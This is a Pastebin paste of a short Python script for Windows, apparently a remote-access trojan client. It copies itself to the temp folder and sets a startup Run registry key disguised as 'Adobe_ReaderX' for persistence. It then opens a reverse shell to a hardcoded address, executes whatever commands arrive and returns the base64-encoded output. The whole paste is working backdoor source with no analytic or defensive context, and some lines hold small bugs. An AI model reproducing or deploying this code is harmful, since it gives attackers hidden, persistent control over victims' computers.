BornePlays

client

Jun 3rd, 2016
50
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.51 KB | None | 0 0
  1.  
  2. import socket, subprocess, base64, sys, os
  3. from _winreg import *
  4.  
  5. # Queries Windows registry for the autorun key value
  6. # Stores the key values in runkey array
  7. def autorun(tempdir, fileName, run):
  8. #copy executable to %temp%
  9. os.system('copy %s %s'%(fileName, run))
  10.  
  11. #Check if auto run key exists
  12. key = OpenKey(HKEY_LOCAL_MACHINE, run)
  13. runkey = []
  14. try:
  15. i = 0
  16. while True:
  17. subkey = EnumValue(key, i)
  18. runkey.append(subkey[0])
  19. i += 1
  20. except WindowsError:
  21. pass
  22.  
  23. #set auto run key
  24. if 'Adobe ReaderX' not in runkey:
  25. try:
  26. key = OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
  27. SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r'%TEMP\mw.py%')
  28. except WindowsError:
  29. pass
  30.  
  31. #reverse shell
  32. def shell():
  33. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  34. s.connect(('192.168.56.1', int(442)))
  35. s.send('[*] Connection Established!')
  36. while 1:
  37. data = s.recv(1024)
  38. proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.pywintypes)
  39. stdout_value = proc.stdout.read() + proc.stderr.read()
  40. encoded = base64.b64encode(stdout_value)
  41. s.send(encoded)
  42. s.close()
  43.  
  44. def main():
  45. tempdir = '%TEMP%'
  46. fileName = sys.argv[0]
  47. run = 'Software\Microsoft\Windows\CurrentVersion\Run'
  48. autorun(tempdir, fileName, run)
  49. shell()
  50.  
  51. if __name__ == '__main__':
  52. main()
Add Comment
Please, Sign In to add comment